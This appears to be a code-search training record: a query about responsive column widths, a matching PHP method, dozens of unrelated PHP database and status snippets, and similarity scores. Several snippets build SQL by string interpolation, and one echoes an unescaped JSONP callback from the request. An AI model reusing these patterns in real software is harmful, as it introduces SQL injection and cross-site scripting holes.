$this->db->get('tb_am_bons')->result_array();\n }", "public function get_baca_rbm($id, $tgl) {\n\t\t$id = intval($id);\n\t\t$d = substr($tgl, 0, 2);\n\t\t$m = substr($tgl, 2, 2);\n\t\t$y = substr($tgl, 4, 4);\n\t\t$date = $y . '-' . $m . '-' . $d;\n\t\t\n\t\t$r = array();\n\t\t$this->db->query(\"START TRANSACTION\");\n\t\t$tn = 0;\n\t\n\t\t$run = $this->db->query(\"SELECT a.ID_KETERANGAN_BACAMETER, a.ID_PELANGGAN, a.KIRIM_BACAMETER, TIME(a.TANGGAL_BACAMETER) AS JAM, a.LWBP_BACAMETER, a.WBP_BACAMETER, a.KVARH_BACAMETER, c.DAYA_PELANGGAN, c.TARIF_PELANGGAN FROM bacameter a, rincian_rbm b, pelanggan c WHERE DATE(a.TANGGAL_BACAMETER) = '$date' AND a.ID_PELANGGAN = b.ID_PELANGGAN AND b.ID_RBM = '$id' AND a.ID_PELANGGAN = c.ID_PELANGGAN AND (a.KIRIM_BACAMETER = 'W' OR a.KIRIM_BACAMETER = 'H') ORDER BY a.TANGGAL_BACAMETER DESC\");\n\t\tfor ($i = 0; $i < count($run); $i++) {\n\t\t\t$srun = $this->db->query(\"SELECT `NAMA_KETERANGAN_BACAMETER` FROM `keterangan_bacameter` WHERE `ID_KETERANGAN_BACAMETER` = '\" . $run[$i]->ID_KETERANGAN_BACAMETER . \"'\", TRUE);\n\t\t\t$keterangan = (empty($srun) ? 'Normal' : $srun->NAMA_KETERANGAN_BACAMETER);\n\t\t\tif ($keterangan != 'Normal') $tn++;\n\t\t\t\n\t\t\t$r[] = array(\n\t\t\t\t'idpel' => $run[$i]->ID_PELANGGAN,\n\t\t\t\t'jam' => $run[$i]->JAM,\n\t\t\t\t'lwbp' => $run[$i]->LWBP_BACAMETER,\n\t\t\t\t'wbp' => $run[$i]->WBP_BACAMETER,\n\t\t\t\t'kvarh' => $run[$i]->KVARH_BACAMETER,\n\t\t\t\t'tarif' => $run[$i]->TARIF_PELANGGAN,\n\t\t\t\t'daya' => $run[$i]->DAYA_PELANGGAN,\n\t\t\t\t'keterangan' => $keterangan,\n\t\t\t\t'kirim' => ($run[$i]->KIRIM_BACAMETER == 'W' ? 'WEB' : 'HP')\n\t\t\t);\n\t\t}\n\t\t\n\t\t$trbm = $this->db->query(\"SELECT COUNT(`ID_RINCIAN_RBM`) AS `HASIL` FROM `rincian_rbm` WHERE `ID_RBM` = '$id'\", TRUE);\n\t\t$total = $trbm->HASIL;\n\t\t\n\t\t$this->db->query(\"COMMIT\");\n\t\treturn array(\n\t\t\t'total' => $total,\n\t\t\t'data' => $r,\n\t\t\t'tidaknormal' => $tn\n\t\t);\n\t}", "function getDetailedStatus() ;", "public function pembayaran(){\n\t\t// return $data->result_array();\n\t\t$this->db->select('*');\n\t\t$this->db->from('detail_beli');\n\t\t$this->db->join('pembelian','detail_beli.id_beli=pembelian.id_beli','left');\n\t\t$this->db->join('pembayaran','detail_beli.id_beli=pembayaran.id_beli','left');\n\t\t$this->db->where('pembelian.status_pembelian=\"belum terbayar\"');\n\n\t\treturn $this->db->get()->result_array();\n\t\t\n\t}", "public function getAll()\n {\n $query = $this->m_building_block_status->getAll();\n\n // Return the result\n return $query;\n }", "public function getStatusData()\r\n\t{\r\n\t\t$data = array(\r\n\t\t\t'source' => array(\r\n\t\t\t\t'a' => array(\r\n\t\t\t\t\t'selected' => false,\r\n\t\t\t\t\t'preferred' => false,\r\n\t\t\t\t\t'voltage' => false,\r\n\t\t\t\t\t'frequency' => false,\r\n\t\t\t\t\t'status' => false,\r\n\t\t\t\t),\r\n\t\t\t\t'b' => array(\r\n\t\t\t\t\t'selected' => false,\r\n\t\t\t\t\t'preferred' => false,\r\n\t\t\t\t\t'voltage' => false,\r\n\t\t\t\t\t'frequency' => false,\r\n\t\t\t\t\t'status' => false,\r\n\t\t\t\t),\r\n\t\t\t),\r\n\t\t\t'phaseSynchronization' => false,\r\n\t\t\t'totalLoad' => false,\r\n\t\t\t'totalPower' => false,\r\n\t\t\t'peakLoad' => false,\r\n\t\t\t'energy' => false,\r\n\t\t\t'powerSupplyStatus' => false,\r\n\t\t\t'communicationStatus' => false,\r\n\t\t);\r\n\r\n\t\t$this->hr->get('/status_update.html');\r\n\r\n\t\tif ($this->hr->result) {\r\n\t\t\t// selected source\r\n\t\t\tif (preg_match('/selected source<\\/span>\\s*<span class=\"txt\">source\\s+([a-z])/i', $this->hr->result, $matches)) {\r\n\t\t\t\t$source = strtolower($matches[1]);\r\n\t\t\t\t$data['source'][$source]['selected'] = true;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// preferred source\r\n\t\t\tif (preg_match('/preferred source<\\/span>\\s*<span class=\"txt\">source\\s+([a-z])/i', $this->hr->result, $matches)) {\r\n\t\t\t\t$source = strtolower($matches[1]);\r\n\t\t\t\t$data['source'][$source]['preferred'] = true;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// source voltage\r\n\t\t\tif (preg_match('/source voltage \\(a\\/b\\)<\\/span>\\s*<span class=\"txt\">([0-9\\.]+)\\s*\\/?\\s*([0-9\\.]*)/i', $this->hr->result, $matches)) {\r\n\t\t\t\t$data['source']['a']['voltage'] = $matches[1];\r\n\t\t\t\t$data['source']['b']['voltage'] = $matches[2];\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// frequency\r\n\t\t\tif (preg_match('/source frequency \\(a\\/b\\)<\\/span>\\s*<span class=\"txt\">([0-9\\.]+)\\s*\\/?\\s*([0-9\\.]*)/i', $this->hr->result, $matches)) {\r\n\t\t\t\t$data['source']['a']['frequency'] = $matches[1];\r\n\t\t\t\t$data['source']['b']['frequency'] = $matches[2];\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// status\r\n\t\t\tif (preg_match('/source status \\(a\\/b\\)<\\/span>\\s*<span class=\"txt\">([a-z]+)\\s*\\/?\\s*([a-z]*)/i', $this->hr->result, $matches)) {\r\n\t\t\t\t$data['source']['a']['status'] = ($matches[1] == 'OK') ? true : false;\r\n\t\t\t\t$data['source']['b']['status'] = ($matches[2] == 'OK') ? true : false;\r\n\t\t\t}\r\n\r\n\t\t\t// phase sync\r\n\t\t\tif (preg_match('/phase synchronization<\\/span>\\s*<span class=\"txt\">([a-z]+)/i', $this->hr->result, $matches)) {\r\n\t\t\t\t$data['phaseSynchronization'] = ($matches[1] == 'No') ? false : true;\r\n\t\t\t}\r\n\r\n\t\t\t// total load\r\n\t\t\tif (preg_match('/total\\s+load<\\/span>\\s*<span class=\"txt\">([0-9\\.]+)/i', $this->hr->result, $matches)) {\r\n\t\t\t\t$data['totalLoad'] = floatval($matches[1]);\r\n\t\t\t}\r\n\r\n\t\t\t// total power\r\n\t\t\tif (preg_match('/total\\s+power<\\/span>\\s*<span class=\"txt\">([0-9\\.]+)/i', $this->hr->result, $matches)) {\r\n\t\t\t\t$data['totalPower'] = floatval($matches[1]);\r\n\t\t\t}\r\n\r\n\t\t\t// peak load\r\n\t\t\tif (preg_match('/peak\\s+load<\\/span>\\s*<span class=\"l2b txt\">([0-9\\.]+)/i', $this->hr->result, $matches)) {\r\n\t\t\t\t$data['peakLoad'] = floatval($matches[1]);\r\n\t\t\t}\r\n\r\n\t\t\t// energy\r\n\t\t\tif (preg_match('/energy<\\/span>\\s*<span class=\"l2b txt\">([0-9\\.]+)/i', $this->hr->result, $matches)) {\r\n\t\t\t\t$data['energy'] = floatval($matches[1]);\r\n\t\t\t}\r\n\r\n\t\t\t// PS status\r\n\t\t\tif (preg_match('/power supply status<\\/span>\\s*<span class=\"txt\">([a-z]+)/i', $this->hr->result, $matches)) {\r\n\t\t\t\t$data['powerSupplyStatus'] = ($matches[1] == 'OK') ? true : false;\r\n\t\t\t}\r\n\r\n\t\t\t// comm status\r\n\t\t\tif (preg_match('/communication status<\\/span>\\s*<span class=\"txt\">([a-z]+)/i', $this->hr->result, $matches)) {\r\n\t\t\t\t$data['communicationStatus'] = ($matches[1] == 'OK') ? true : false;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\treturn $data;\r\n\t}", "public function lulus_UNDARAN(){\n\t\t$query=\"SELECT COUNT(id_pendadaran) AS jml_lulus FROM ujian_pendadaran WHERE status='lulus' GROUP BY status\"; //query untuk menghitung jumlah mahasiswa yang lulus undaran\n\t\t$this->eksekusi($query); //mengeksekusi query diatas\n\t\treturn $this->result; //mengembalikan hasil query diatas\n\t}", "public function getStatusFinishOrNotYet(){\n $col_lang = getColStatusByLang($this);\n $this->db->select(\"kubun,$col_lang as komoku_name_2\");\n $this->db->from(\"m_komoku\");\n $this->db->where(\"komoku_id\",\"KM0001\");\n $this->db->where_in(\"kubun\",array(\"018\",\"019\"));\n $this->db->where('del_flg', '0');\n $query = $this->db->get();\n return $query->result_array();\n }", "public function getStatus(){\n return array_get($this->status,$this->a_active,'[N\\A]');\n }", "public function getAll()\n\t{\n\t\treturn $this->db->get('tabel_b')->result();\n\t}", "function get_all_waiting_return()\n {\n return $this->db->where('returnNumberState', \\ReturnService\\_Return\\returnStateType::OPENED)->where('primaryOwnerNetworkId', Operator::ORANGE_NETWORK_ID)->get_where('numberreturn')->result_array();\n }", "function getProgressUsulanByUserJurusan($id){\n\t\t$query = $this->db->query(\"SELECT pp.STATUS,pp.ID_USULAN,pp.REVISI_KE FROM usulan AS u, progress_paket AS pp WHERE u.ID_USER = '$id' AND u.ID_USULAN = pp.ID_USULAN\")->row_array();\n\t\treturn $query;\n\t}", "public function fcpoGetStatus() \n {\n $sQuery = \"SELECT oxid FROM fcpotransactionstatus WHERE fcpo_txid = '{$this->oxorder__fcpotxid->value}' ORDER BY fcpo_sequencenumber ASC\";\n $aRows = $this->_oFcpoDb->getAll($sQuery);\n\n $aStatus = array();\n foreach ($aRows as $aRow) {\n $oTransactionStatus = $this->_oFcpoHelper->getFactoryObject('fcpotransactionstatus');\n $sTransactionStatusOxid = (isset($aRow[0])) ? $aRow[0] : $aRow['oxid'];\n $oTransactionStatus->load($sTransactionStatusOxid);\n $aStatus[] = $oTransactionStatus;\n }\n\n return $aStatus;\n }", "public function getAllPending(): array;", "public function getStatusArray()\n\t{\n\t\treturn $this->makeReturnTable();\n\t}", "public function listsstatusget()\r\n {\r\n $response = Status::all();\r\n return response()->json($response,200);\r\n }", "function status($etapa,$idm){\n include(\"../../config.php\");\n $sqlh=\"SELECT fecha, estatus, idReg FROM historialchecklist WHERE idMenor = '$idm' AND etapa = '$etapa' \";\n $resultTable = $conexion->query($sqlh);\n if(!empty($resultTable)){\n $res = array();\n while($tupla = mysqli_fetch_array($resultTable, MYSQLI_ASSOC) ){\n $res[] = $tupla;\n }\n foreach ($res as $f){\n if($f['estatus']==0){ ?>\n <p id=\"rechazado\">Rechazado: [<?php echo $f['fecha'];?>]</p>\n <?php } else if($f['estatus']==1){ ?>\n <p id=\"date\">Llenado: [<?php echo $f['fecha'];?>]</p>\n <?php } else if($f['estatus']==2){ ?>\n <p id=\"verificado\">Verificado: [<?php echo $f['fecha'];?>]</p>\n <?php } ?>\n <?php\n }\n }\n }", "public function getDeliveryStatusList(){\n\t\t/* variable initialization */\n\t\t$strReturnArr\t= $strQueryArr\t= array();\n\t\t\n\t\t/* Creating query array */\n\t\t$strQueryArr\t= array(\n\t\t\t\t\t\t\t\t\t'table'=>$this->_strTableName,\n\t\t\t\t\t\t\t\t\t'column'=>array('id','description'),\n\t\t\t\t\t\t\t\t\t'where'=>array('attribute_code'=>DELIVERY_STATUS_WIDGET_ATTR_CODE),\n\t\t\t\t\t\t\t );\n\t\t\t\t\t\t\t \n\t\t/* Get data from dataset */\n\t\t$strResultSetArr\t= $this->_databaseObject->getDataFromTable($strQueryArr);\n\t\t/* removed used variable */\n\t\tunset($strQueryArr);\n\t\t\n\t\t/* if status found teh do needful */\n\t\tif(!empty($strResultSetArr)){\n\t\t\t/* Iterting the loop */\n\t\t\tforeach($strResultSetArr as $strResultSetArrKey => $strResultSetArrValue){\n\t\t\t\t/* setting the key value paris */\n\t\t\t\t$strReturnArr['keyvalue'][$strResultSetArrValue['id']]\t= $strResultSetArrValue['description'];\n\t\t\t}\n\t\t}\n\t\t/* set the default result set */\n\t\t$strReturnArr['defaultvalue']\t= $strResultSetArr;\n\t\t/* removed used variable */\n\t\tunset($strResultSetArr);\n\t\t\n\t\t/* return the status result set */\n\t\treturn $strReturnArr;\n\t}", "function getStatus(){\r\n $data_status = $this->db->get('status')->result(); \r\n return $data_status;\r\n }", "public function getLookxStatus($status)\n\t{\n\t\treturn count($this->findAllBySql('select tbl_orden_id,look_id from tbl_orden left join tbl_orden_has_productotallacolor on tbl_orden.id = tbl_orden_has_productotallacolor.tbl_orden_id where estado = :status AND look_id = :look_id group by tbl_orden_id, look_id;',\n\t\t\tarray(':status'=>$status,':look_id'=>$this->id)));\n\t\t\n\t\t\n\t}", "public static function all()\n {\n $sql = new Sql();\n\n $results = $sql->select(\"SELECT * FROM tbl_status\");\n\n return $results;\n }", "function get_invested_accounts_status($tid,$acc_number)\n\t{\n\t return $this->db->select('pamm_invested_accounts_status')\n\t\t ->from('pamm_invested_accounts') \n\t\t ->where('pamm_invested_accounts_login',$acc_number)\n\t\t ->where('pamm_invested_accounts_tid',$tid)\n\t\t ->get()->result();\n\t}", "function get_status() { \n\n\t\t/* Construct the Array */\n\t\t$array['state'] \t= false; //$this->_mpd->state;\n\t\t$array['volume']\t= $this->XBMCCmd(\"GetVolume\");\n\n\t\treturn $array;\n\n\t}", "public function rumusan()\n\t{\n\t\t$result = $this->Guru_Model->getDataGuruJoinRequest();\n\n\t\tforeach ($result as $key => $value) {\n\t\t\tif (!$value->id_request) {\n\t\t\t\t// tambah data bila ada guru yang tidak request\n\t\t\t\t$value->hari = ['Senin', 'Selasa', 'Rabu', 'Kamis', 'Jum`at', 'Sabtu'];\n\t\t\t\t$status = 0;\n\t\t\t\t$result[$key]->status_request = $status;\n\t\t\t} else {\n\t\t\t\t// convert data string to array\n\t\t\t\t$value->hari = explode(\",\", $value->hari);\n\t\t\t\t$status = 1;\n\t\t\t\t$result[$key]->status_request = $status;\n\t\t\t}\n\t\t\t// menambahkan kelas yang diajar\n\t\t\t$result[$key]->kelas = $this->Guru_Model->getDataGuruJoinKelas($value->id_guru);\n\t\t\t$kelas = $result[$key]->kelas;\n\t\t\t// menambahkan beban kerja guru\n\t\t\t$result[$key]->beban_kerja = $this->Guru_Model->getDataBebanKerja($value->id_guru);\n\t\t\t// menambahkan total jam tersedia\n\t\t\t$result[$key]->jam_tersedia = $this->Guru_Model->ketersediaanJam($kelas, $value->hari);\n\t\t\t// menambahkan hasil rumusan \n\t\t\tif ($result[$key]->beban_kerja == 0 && $result[$key]->jam_tersedia == 0) {\n\t\t\t\t$rumusan = 0;\n\t\t\t} else {\n\t\t\t\t$rumusan = round(($status == 1) ? 1 + ($result[$key]->beban_kerja / $result[$key]->jam_tersedia) : 0 + ($result[$key]->beban_kerja / $result[$key]->jam_tersedia), 2);\n\t\t\t}\n\n\t\t\t$result[$key]->rumusan = $rumusan;\n\t\t}\n\n\t\techo \"<pre>\";\n\t\techo print_r($result);\n\t\techo \"</pre>\";\n\t\t/* \n\t\t!create data \n\t\t*/\n\t\t$this->Rumusan_Model->createData($result);\n\t\tredirect('DataJadwal');\n\t}", "public static function listAll()\n\t{\n\t\t$sql = new Sql();\n\t\treturn $sql->select(\"SELECT * FROM tb_ordersstatus ORDER BY desstatus\");\n\t}", "public function getStatusFinish($kubun){\n $col_lang = getColStatusByLang($this);\n $this->db->select(\"kubun,$col_lang as komoku_name_2\");\n $this->db->from(\"m_komoku\");\n $this->db->where(\"komoku_id\",KOMOKU_STATUS);\n $this->db->where_in(\"kubun\", $kubun);\n $this->db->where('del_flg', '0');\n $query = $this->db->get();\n return $query->result_array();\n }", "public function admin_hrd_baca_karyawan() {\n\t\t\t//return Karyawan::get(array('nik', 'nama', 'alamat', 'status'));\n\t\t\treturn Karyawan::all();\n\t\t}", "abstract protected function getStatusesInfos();", "public function getStatus()\n {\n foreach($this->data as $domain => $rang)\n {\n //init work with curl\n $ch = curl_init($domain);\n\n //return answer in string unless showing in brows \n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n //for redirects\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\n //take a headers in answer (status coming)\n curl_setopt($ch, CURLOPT_HEADER, false);\n\n //make request to curk\n curl_exec($ch);\n\n $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\n $time = round(curl_getinfo($ch, CURLINFO_CONNECT_TIME), 2);\n\n curl_close($ch);\n\n //complited array with result\n $this->result[] = [\n 'domain' => $domain,\n 'rang' => $rang,\n 'http_code' => $http_code,\n 'time' => $time\n ];\n\n }\n\n return $this->result; \n }", "public function getAll(){\n\t\t$url = WEBSERVICE. \"status_robot/getAll\";\n\t\t$this->HTTPRequest->setUrl($url);\n\t\t$this->HTTPRequest->setMethod(\"GET\");\n\t\t$arrayResponse = $this->HTTPRequest->sendHTTPRequest();\n\t\treturn $this->arrayToStatusRobot($arrayResponse, false);\n\t}", "public function cabang($status)\n {\n $cabang = User::select('cabang')->where('status',$status)->groupBy('cabang')->get();\n if($cabang != null){\n $cabang['count'] = $cabang->count();\n }\n return $cabang;\n }", "public function getData(){\n\t\t$sql = \"SELECT * FROM hr_confirm_status\";\n\t\t$query = $this->db->query($sql);\n\t\treturn $query->result_array();\n\t}", "function get_perumahan__pembangunan_rumah($id_pembangunan)\n {\n return $this->db->get_where('perumahan__pembangunan_rumah',array('id_pembangunan'=>$id_pembangunan))->row_array();\n }", "public function tidaklulus_UNDARAN(){\n\t\t$query=\"SELECT COUNT(id_pendadaran) AS jml_tdk_lulus FROM ujian_pendadaran WHERE status='tidak_lulus' GROUP BY status\"; //query untuk menghitung jumlah mahasiswa yang tidak lulus undaran\n\t\t$this->eksekusi($query); //mengeksekusi query diatas\n\t\treturn $this->result; //mengembalikan hasil query diatas\n\t}", "public function listarStatusCelularTodos()\n {\n $pdo = new \\PDO(DSN, USER, PASSWD);\n //cria sql\n $sql = \"SELECT Discipulo.nome AS discipulo , TipoStatusCelular.nome AS status FROM Discipulo,StatusCelular, TipoStatusCelular\n WHERE Discipulo.id = StatusCelular.discipuloId And StatusCelular.tipoOferta = TipoStatusCelular.id ORDER BY discipulo\";\n\n //prepara sql\n $stm = $pdo->prepare($sql);\n //trocar valores\n\n $resposta = $stm->execute();\n\n //fechar conexão\n $pdo = null ;\n\n return $stm->fetchAll();\n }", "public function listarStatusCelularTodos()\n {\n $pdo = new \\PDO(DSN, USER, PASSWD);\n //cria sql\n $sql = \"SELECT Discipulo.nome AS discipulo , TipoStatusCelular.nome AS status FROM Discipulo,StatusCelular, TipoStatusCelular\n WHERE Discipulo.id = StatusCelular.discipuloId And StatusCelular.tipoOferta = TipoStatusCelular.id ORDER BY discipulo\";\n\n //prepara sql\n $stm = $pdo->prepare($sql);\n //trocar valores\n\n $resposta = $stm->execute();\n\n //fechar conexão\n $pdo = null ;\n\n return $stm->fetchAll();\n }", "function get_all_rombel()\n {\n $this->db->select('rombel.*, tahun_pelajaran.*, kelas.nama, siswa.id as id_siswa, siswa.nama_lengkap as nama_siswa');\n $this->db->from('rombel');\n $this->db->join('tahun_pelajaran', 'tahun_pelajaran.id = rombel.id_tahun');\n $this->db->join('kelas', 'kelas.id = rombel.id_kelas');\n $this->db->join('siswa', 'siswa.id = rombel.id_siswa');\n $this->db->where('rombel.id_tahun = '.$_SESSION['id_tahun_pelajaran']);\n $this->db->order_by('rombel.id', 'desc');\n return $this->db->get()->result_array();\n }", "public function pending_util_records() {\n\t\treturn $this->util->select( array( 'flag' => null ) );\n\t}", "public function getStatusPuasa()\n\t{\n\t\t$a=$this->m_puasa->getStatusPuasa();\n\t\t$b = array('statusPuasa' => $a);\n\t\techo json_encode($b);\n\t}", "function ajaxQueryServiceStatuses()\n {\n $suburb = $_POST[\"serviceStatusSuburb\"];\n if (is_null($suburb)) {\n $suburb = \"\";\n }\n\n // only 'Online' accessible.\n $status = 3;\n $nos = $this->NetworkOutage_model->getBySuburb($suburb, $status);\n $planned = array();\n $unexpected = array();\n while($no = $nos->next())\n {\n //echo json_encode($no);\n $expNO = $this->exportNetworkOutageBrief($no);\n if ($expNO['type'] === \"Planned\") {\n $planned[] = $expNO;\n } else {\n $expNO['type'] = \"Unplanned\";\n $unexpected[] = $expNO;\n }\n }\n\n $networkOutages = array();\n $networkOutages[\"Planned\"] = $planned;\n $networkOutages[\"Unexpected\"] = $unexpected;\n\n $jsonResp = json_encode($networkOutages);\n if (is_null($_GET['callback'])) {\n echo $jsonResp;\n } else {\n echo $_GET['callback']. '('. $jsonResp .');';\n }\n }", "function all_get(){\n $akhir = $this->get('akhir');\n\n $allwaktu = $this->db->query(\"SELECT id_waktu FROM waktu WHERE mulai <= \".$akhir.\"-1 AND selesai > \".$akhir.\"-1\")->result();\n $this->response(array('result' => $allwaktu));\n }", "function get_tb_am_bon($bon_id)\n {\n return $this->db->get_where('tb_am_bons',array('bon_id'=>$bon_id))->row_array();\n }", "public function getSabores(){\n $sabores = TcSabor::where('id_estado','=',1)->get();\n return $sabores;\n }", "function getStatusList() {\n $statusList = array();\n foreach (Constants::$statusNames as $id => $name) {\n $statusList[$id] = \"$id - $name\";\n }\n return $statusList;\n}", "function get_data_admin_pend()\n\t\t{\n\t\t\t$query = $this->db->query(\"SELECT * FROM `admin` WHERE status='2'\");\n\t\t\n\t\t\t$indeks = 0;\n\t\t\t$result = array();\n\t\t\t\n\t\t\tforeach ($query->result_array() as $row)\n\t\t\t{\n\t\t\t\t$result[$indeks++] = $row;\n\t\t\t}\n\t\t\n\t\t\treturn $result;\n\t\t}", "public function status_multiple_datos_trabajador($id,$status){\n //Migracion Mongo DB\n $serial = $id;\n $id_usuario = new MongoDB\\BSON\\ObjectId($this->session->userdata('id_usuario'));\n $fecha = new MongoDB\\BSON\\UTCDateTime();\n\n $arreglo_id = explode(' ',$id);\n \n foreach ($arreglo_id as $valor) {\n \n $serial = $valor;\n\n switch ($status) {\n case '1':\n $status2 = true;\n break;\n case '2':\n $status2 = false;\n break;\n }\n $datos = array(\n 'trabajadores.$.status'=>$status2,\n );\n $modificar = $this->mongo_db->where(array('trabajadores.serial_acceso'=>$serial))->set($datos)->update(\"membresia\");\n //--Auditoria\n if($modificar){\n $data_auditoria = array(\n 'cod_user'=>$id_usuario,\n 'nom_user'=>$this->session->userdata('nombre'),\n 'fecha'=>$fecha,\n 'accion'=>'Modificar status',\n 'operacion'=>''\n );\n $mod_auditoria = $this->mongo_db->where(array('trabajadores.serial_acceso'=>$serial))->push('trabajadores.$.auditoria',$data_auditoria)->update(\"membresia\"); \n }\n } \n //-------------------------------------------------------------\n }", "public static function getAllStatus(): array\n {\n $statuses = array();\n //====================================================================//\n // Complete Status Informations\n foreach (SplashStatus::getAll() as $status) {\n $statuses[] = array(\n 'code' => $status,\n 'field' => 'SPLASH_ORDER_'.strtoupper($status),\n 'name' => str_replace(\"Order\", \"Status \", $status),\n 'desc' => 'Order Status for '.str_replace(\"Order\", \"\", $status)\n );\n }\n\n return $statuses;\n }", "function statusBinario($statusB)\n{\n\tif ($statusB == 1) return \"Aktiv\";\n\telse return \"Inaktiv\";\n}", "public function allAnnonce(){\n $annonces=$this->repAnnonce->findBy(['disponibilite' =>'1']);\n return $annonces;\n }", "public function get_hadir(){\n\t\treturn $this->db->query('SELECT COUNT(status) as sea FROM absen WHERE status = \"Hadir\" ');\n\t}", "public function get_invoice_status()\n\t{\n\t\t//retrieve all invoice\n\t\t$this->db->from('invoice_status');\n\t\t$this->db->select('*');\n\t\t$this->db->order_by('invoice_status_name');\n\t\t$query = $this->db->get();\n\t\t\n\t\treturn $query;\n\t}", "public function wilayah($status,$cabang)\n {\n $wilayah = User::select('wilayah')->where('status',$status)->where('cabang',$cabang)->groupBy('wilayah')->get();\n if($wilayah != null){\n $wilayah['count'] = $wilayah->count();\n }\n return $wilayah;\n }", "function getRCCAStatus()\n{\n\t$RCCAResult[0] = \"Awaiting spawner recommendation\";\n\t$RCCAResult[1] = \"Awaiting or being reviewed by QAT\";\n\t$RCCAResult[2] = \"Awaiting initial review by PLL owner\";\n\t$RCCAResult[3] = \"Corrective Action(s) being defined (by PLL owner)\";\n\t\n\treturn $RCCAResult;\n}", "public function status_get()\n\t{\n\t\t$data = $this->Pesan->getStatus();\n\n\t\tif ($data) {\n\t\t\t$this->response($data,200);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->response(\n\t\t\t\t['error'=>true,\n\t\t\t\t'message'=>'Data tidak ada'\n\t\t\t],200);\n\t\t}\n\t}" ]
[ "0.670644", "0.6452454", "0.6343128", "0.62922066", "0.6232848", "0.6203368", "0.6194229", "0.61577356", "0.61337507", "0.61122525", "0.6110231", "0.6075453", "0.6070421", "0.6058098", "0.60554034", "0.602418", "0.6023419", "0.60144186", "0.59915066", "0.5989068", "0.59825236", "0.59809744", "0.5971683", "0.5962293", "0.5952832", "0.59198487", "0.5910411", "0.58999574", "0.589263", "0.58856016", "0.5877106", "0.587681", "0.58556706", "0.58503455", "0.5823869", "0.5820562", "0.581875", "0.58140904", "0.5809733", "0.57949156", "0.57839257", "0.57829183", "0.5779747", "0.5776429", "0.5773824", "0.57647914", "0.5737059", "0.5733115", "0.57325333", "0.5730378", "0.57299864", "0.57081217", "0.56883276", "0.5686387", "0.56812793", "0.56736016", "0.5669756", "0.5662021", "0.5658975", "0.5657974", "0.56441456", "0.56439126", "0.5639042", "0.5634794", "0.56220394", "0.5614585", "0.5610756", "0.5604127", "0.5603758", "0.56005085", "0.55931354", "0.55922043", "0.5591191", "0.55898064", "0.5587833", "0.5584727", "0.55774903", "0.55759907", "0.55719215", "0.55625075", "0.55614936", "0.55614936", "0.5556197", "0.55439824", "0.5543917", "0.55421036", "0.55417514", "0.55336237", "0.553167", "0.55315816", "0.5520045", "0.55180776", "0.5515378", "0.5513924", "0.5504173", "0.55036277", "0.54995286", "0.5490924", "0.54820544", "0.54819703" ]
0.55609596
82
Fetch any assigned responsive column widths
public function responsiveWidths($site_id, $page_id, $id) { $sql = "SELECT `uspscr`.`size` AS `width`, `dct`.`column_type` FROM `user_site_page_structure_column_responsive` `uspscr` INNER JOIN `designer_column_type` dct ON `uspscr`.`column_type_id` = `dct`.`id` WHERE `uspscr`.`site_id` = :site_id AND `uspscr`.`page_id` = :page_id AND `uspscr`.`column_id` = :column_id"; $stmt = $this->_db->prepare($sql); $stmt->bindValue(':site_id', $site_id); $stmt->bindValue(':page_id', $page_id); $stmt->bindValue(':column_id', $id); $stmt->execute(); $result = $stmt->fetchAll(); $columns = array( 'xs' => false, 'sm' => false, 'lg' => false, ); foreach ($result as $row) { $columns[$row['column_type']] = intval($row['width']); } return $columns; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function content_width() {\n\t\t$upper_breakpoint_val = end( $this->breakpoints );\n\t\t$upper_breakpoint = key( $this->breakpoints );\n\t\t$max_cols = $this->columns[ $upper_breakpoint ];\n\n\t\treturn $this->fixed_width( $max_cols );\n\t}", "private function calculateColumnWidth()\r\n {\r\n foreach ($this->data as $y => $row) {\r\n if (is_array($row)) {\r\n foreach ($row as $x => $col) {\r\n $content = preg_replace('#\\x1b[[][^A-Za-z]*[A-Za-z]#', '', $col);\r\n if (!isset($this->columnWidths[$x])) {\r\n $this->columnWidths[$x] = mb_strlen((string)$content, 'UTF-8');\r\n } else {\r\n if (mb_strlen((string)$content, 'UTF-8') > $this->columnWidths[$x]) {\r\n $this->columnWidths[$x] = mb_strlen((string)$content, 'UTF-8');\r\n }\r\n }\r\n }\r\n }\r\n }\r\n\r\n return $this->columnWidths;\r\n }", "protected function calculateColumnsWidth()\r\n {\r\n if ($this->_columns > 0)\r\n return ($this->Width / $this->_columns);\r\n else\r\n return 1;\r\n }", "function get_main_column_width($n_columns, $n_hidden=0)\n{\n global $row_labels_both_sides, $first_last_width, $column_hidden_width;\n \n // Calculate the percentage width of each of the main columns. We use number_format\n // because in some locales you would get a comma for the decimal point which\n // would break the CSS\n $column_width = 100 - $first_last_width;\n if (!empty($row_labels_both_sides))\n {\n $column_width = $column_width - $first_last_width;\n }\n // Subtract the hidden columns (unless they are all hidden)\n if ($n_hidden < $n_columns)\n {\n $column_width = $column_width - ($n_hidden * $column_hidden_width);\n $column_width = number_format($column_width/($n_columns - $n_hidden), 6);\n }\n \n return $column_width;\n}", "protected function getPreviewFrameWidths() {}", "public function getWidth()\n {\n if (null === $this->width && !$this->initialised) {\n $this->refreshDimensions();\n }\n\n if (null === $this->width) {\n $width = getenv('COLUMNS');\n if (false !== $width) {\n $this->width = (int) trim($width);\n }\n }\n\n return $this->width ?: static::DEFAULT_WIDTH;\n }", "public function max_width() {\n\t\t$upper_breakpoint_val = end( $this->breakpoints );\n\t\t$upper_breakpoint = key( $this->breakpoints );\n\t\t$col_width = $this->column_widths[ $upper_breakpoint ];\n\t\t$margins = $this->margins[ $upper_breakpoint ];\n\t\t$gutters = $this->gutters[ $upper_breakpoint ];\n\t\t$max_cols = $this->columns[ $upper_breakpoint ];\n\t\t$max_width = ( (int) $max_cols * (int) $col_width ) + ( ( (int) $max_cols - 1 ) * (int) $gutters ) + ( (int) $margins * 2 );\n\n\t\treturn $max_width;\n\t}", "function GetCollectionWidth($number_with_pipes=null)\n{\n\tif($number_with_pipes)\n\t{\n\t\t$cols = explode('||', $number_with_pipes);\n\t\tarray_pop($cols);\n\t\treturn $cols;\n\t}\n}", "function getMinWidths() {\n\t\t$widths = explode(',', $this->MinWidth);\n\t\tsort($widths);\n\n\t\treturn $widths;\n\t}", "protected function 